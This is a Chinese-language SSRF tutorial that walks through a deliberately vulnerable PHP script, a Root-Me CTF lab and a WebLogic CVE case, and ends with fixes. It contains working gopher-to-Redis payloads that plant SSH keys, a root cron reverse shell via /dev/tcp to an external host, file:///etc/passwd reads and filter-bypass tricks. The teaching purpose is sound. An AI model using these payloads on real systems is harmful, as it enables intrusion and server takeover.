本文由紅日安全成員: MisakiKata 編寫,如有不當,還望斧正。
大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式(sec-redclub@qq.com)聯系我們。
1. SSRF漏洞
1.1 漏洞簡介
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種利用漏洞偽造服務器端發起請求。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。
1.2 漏洞原理
通過控制功能中的發起請求的服務來當作跳板攻擊內網中其他服務。比如,通過控制前台的請求遠程地址加載的響應,來讓請求數據由遠程的URL域名修改為請求本地、或者內網的IP地址及服務,來造成對內網系統的攻擊。
1.3 漏洞危害
1.3.1 掃描內網開放服務
1.3.2 向內部任意主機的任意端口發送payload來攻擊內網服務
1.3.3 DOS攻擊(請求大文件,始終保持連接Keep-Alive Always)
1.3.4 攻擊內網的web應用,例如直接SQL注入、XSS攻擊等
1.3.5 利用file、gopher、dict協議讀取本地文件、執行命令等
2. 檢測與繞過
2.1 漏洞檢測
假設一個漏洞場景:某網站有一個在線加載功能可以把指定的遠程圖片加載到本地,功能鏈接如下:
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
那么網站請求的大概步驟應該是類似以下:
用戶輸入圖片地址->請求發送到服務端解析->服務端請求鏈接地址的圖片數據->獲取請求的數據加載到前台顯示。
這個過程中可能出現問題的點就在於請求發送到服務端的時候,系統沒有效驗前台給定的參數是不是允許訪問的地址域名,例如,如上的鏈接可以修改為:
http://www.xxx.com/image.php?image=http://127.0.0.1:22
如上請求時則可能返回請求的端口banner。如果協議允許,甚至可以使用其他協議來讀取和執行相關命令。例如
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服務端口請求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口發送數據test,同樣可以發送POST請求)
......
對於不同語言實現的web系統可以使用的協議也存在不同的差異,其中:
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...
判斷漏洞是否存在的重要前提是,請求的服務器發起的,以上鏈接即使存在並不一定代表這個請求是服務器發起的。因此前提不滿足的情況下,SSRF是不必要考慮的。
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
鏈接獲取后,是由js來獲取對應參數交由window.location來處理相關的請求,或者加載到當前的iframe框架中,此時並不存在SSRF ,因為請求是本地發起,並不能產生攻擊服務端內網的需求。
2.2 漏洞出現點
2.2.1 分享
通過url 地址分享文章,例如如下地址:
http://share.xxx.com/index.php?url=http://127.0.0.1
通過url參數的獲取來實現點擊鏈接的時候跳到指定的分享文章。如果在此功能中沒有對目標地址的范圍做過濾與限制則就存在着SSRF漏洞。
2.2.2 圖片加載與下載
通過URL地址加載或下載圖片
http://image.xxx.com/image.php?image=http://127.0.0.1
圖片加載存在於很多的編輯器中,編輯器上傳圖片處,有的是加載遠程圖片到服務器內。還有一些采用了加載遠程圖片的形式,本地文章加載了設定好的遠程圖片服務器上的圖片地址,如果沒對加載的參數做限制可能造成SSRF。
2.2.3 圖片、文章收藏功能
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title參數是文章的標題地址,代表了一個文章的地址鏈接,請求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此種形式保存文章,則在沒有限制參數的形式下可能存在SSRF。
2.2.4 利用參數中的關鍵字來查找
例如以下的關鍵字:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
2.3 漏洞繞過
部分存在漏洞,或者可能產生SSRF的功能中做了白名單或者黑名單的處理,來達到阻止對內網服務和資源的攻擊和訪問。因此想要達到SSRF的攻擊,需要對請求的參數地址做相關的繞過處理,常見的繞過方式如下:
2.3.1 限制為http://www.xxx.com 域名時
可以嘗試采用http基本身份認證的方式繞過,http://www.xxx.com@www.xxc.com。
在對@解析域名中,不同的處理函數存在處理差異,例如:
http://www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中會識別www.ccc.com,而libcurl則識別為www.bbb.com。
2.3.2 限制請求IP不為內網地址
采用短網址繞過,比如百度短地址https://dwz.cn/。
采用可以指向任意域名的xip.io,127.0.0.1.xip.io,可以解析為127.0.0.1
采用進制轉換,127.0.0.1八進制:0177.0.0.1。十六進制:0x7f.0.0.1。十進制:2130706433
2.3.3 限制請求只為http協議
采用302跳轉,百度短地址,或者使用https://tinyurl.com生成302跳轉地址。使用如下:
2.3.4 其他
其他繞過形式可以查看:https://www.secpulse.com/archives/65832.html
3. 測試方法
3.1 漏洞環境
PHP腳本、Windows
3.2 利用工具
bash、nc
3.3 測試過程
首先采用如下腳本創建一個PHP的服務端
<?PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
開啟PHP的web環境,訪問http://localhost/ssrf.php?url=,頁面顯示正常即可。在一個bash中開啟監聽端口,來模仿即將被SSRF到的內網服務,此處采用nc。
瀏覽器訪問如下鏈接:http://localhost/ssrf.php?url=http://127.0.0.1:2233
。監聽端可以看到來自localhost的請求,請求目標為127.0.0.1的2233端口。
使用gopher協議來查看協議,訪問:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test
利用gopher發送POST的請求,訪問:http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
以上方式簡單的展示了SSRF的攻擊過程和請求,下面我們使用回顯形SSRF。
漏洞環境:Ubuntu 18、 docker 、PHP、Apache
漏洞文件地址:https://github.com/nikosdano/SSRF-Vulnerable-with-Curl
下載文件放入apache服務器中,訪問http://192.168.120.132/awesome_script.php
在其中我們可以填寫想要執行的SSRF命令,如填寫file:///etc/passwd
,回顯為:
嘗試端口探測,對22端口進行探測是否開啟:
截至到此,相信對SSRF已經有了一個簡單認識和檢測,下面我們利用一個靶場來模擬一個完整的真實的SSRF攻擊。
4. 實戰演示
4.1 漏洞環境
Rootme CTF all the day
4.2 漏洞地址
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
4.3 利用工具
Burp
4.4 漏洞介紹
SSRF+redis 獲取內網主機權限,利用SSRF來對redis的未授權訪問執行命令。從而達到獲取主機權限的目的
4.5 測試過程
訪問目標地址,如果沒有賬號,需要創建賬號點擊右上的綠色小加號來創建賬號,創建完成后回到此頁面。
找到一個處於none的虛擬機,點擊房間名,如下的ctf04
進入房間后,選擇需要創建的虛擬機,選擇SSRF Box,點擊保存,選擇start the game。
過一段時間的等待后,會顯示如下信息。
訪問 ctf04.root-me.org 就可以看到啟動的虛擬環境了
當然,如果在創建虛擬機之前,看到其他的房間有人已經創建了SSRF Box我們也可以加入此玩家的房間,點擊房間名,進入房間后點擊右上角的Join the game。稍等片刻就可以加入到游戲中,根據提示訪問對應的地址就可以開始測試啦。
訪問地址后可以看到頁面顯示一個輸入框,需要輸入url參數,開始抓包。
嘗試在頁面輸入百度地址后,頁面會把百度首頁加載進此頁面中。
讀取系統文件:
使用burp的Intruder模塊,來探測開放的服務端口,開放則顯示OK,不開放則顯示Connection refused。
探測可知內網開放了6379端口redis服務,嘗試利用SSRF對redis執行未授權漏洞,此處簡單科普一下redis漏洞影響。
詳細內容可以查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
因此,此漏洞在沒有配置密碼的情況下可以利用SSRF來繞過綁定在本地的限制,從而實現在外網攻擊內網應用。
1)利用redis來寫ssh密鑰
此處利用ssh生成一對公私鑰,生成的默認文件為id_rsa.pub和id_rsa。把id_rsa.pub上傳至服務器即可。我們利用redis把目錄設置為ssh目錄下:
根據網上寫密鑰有兩種協議可以使用,一種是dict,一種是gopher。測試使用dict協議寫不成功,寫入后不能連接,此處使用gopher寫密鑰。
使用的payload為:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
payload 解碼為:
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$401
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
payload由joychou的反彈shell修改而來,主要就是替換了寫入文件的位置和文件內容。然后修改文件的長度。
然后嘗試登陸,輸入創建密鑰的密碼后,登陸成功。
2)利用redis寫定時任務來反彈shell
既然提到反彈shell,就需要利用一台外網主機。此處使用了nc做端口監聽。
使用payload為以下:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
解碼后的內容就是:
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$61
*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
來自:https://joychou.org/web/phpssrf.html
其中$61為我的vps地址,也就是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
的字符串長度。執行后稍等片刻就可以收到反彈的shell了。同時需要寫入的命令前后要加幾個回車。
根據前文的提示,打開/passwd文件就可以找到flag了。
在網站頁面上輸入這一串字符,就可以結束這場SSRF之旅了。
5. CMS實戰演示
5.1 漏洞環境
vulhub、weblogic、ssrf
5.2 漏洞介紹
CVE-2014-4210,weblogic的uddiexplorer.war存在安全組件漏洞,此漏洞可通過HTTP協議利用,未經身份驗證的遠程攻擊者可利用此漏洞影響受影響組件的機密性。該漏洞的影響版本包括:10.0.2.0, 10.3.6.0
5.3 下載地址
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
下載vulhub后,進入對應的安裝目錄,執行docker-compose up -d
,會自動創建docker鏡像。
構建完成后訪問如下地址:
/uddiexplorer/SearchPublicRegistries.jsp
訪問如下地址時返回,代表端口未開放:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
響應可以看到返回404,證明端口開放:
然后可以根據遍歷查看開放的端口服務,在根據開放的服務來決定是否能不能執行內網攻擊。而實際中越到的SSRF大都是探測類使用,因為能正好搭配使用的情況,而且還可以查看或者反彈的,概率值得討論。
5.4 漏洞修復
5.4.1 刪除server/lib/uddiexplorer.war下的相應jsp文件。
jar -xvf uddiexplorer.war
rm jsp-files
jar -cvfM uddiexplorer.war uddiexplorer/
5.4.2 在官方的漏洞通報上找到補丁安裝
https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
6. 漏洞修復
6.1 限制返回信息的,例如請求文件,只返回文件是否請求成功,沒有請求成功到文件統一返回錯誤信息。
6.2 對請求地址設置白名單,只允許請求白名單內的地址。
6.3 禁用除http和https外的協議,如:file://,gopher://,dict://等
6.4 限制請求的端口為固定服務端口,如:80,443
6.5 Java類代碼修復(來自joychou)
方法調用:
String[] urlwhitelist = {"joychou.com", "joychou.me"}; if (!UrlSecCheck(url, urlwhitelist)) { return; }
方法代碼:
需要先添加guava庫(目的是獲取一級域名)
<dependency>
<groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>21.0</version> </dependency> 方法實現: public static Boolean UrlSecCheck(String url, String[] urlwhitelist) { try { URL u = new URL(url); // 只允許http和https的協議 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return false; } // 獲取域名,並轉為小寫 String host = u.getHost().toLowerCase(); // 獲取一級域名 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); for (String whiteurl: urlwhitelist){ if (rootDomain.equals(whiteurl)) { return true; } } return false; } catch (Exception e) { return false; } }
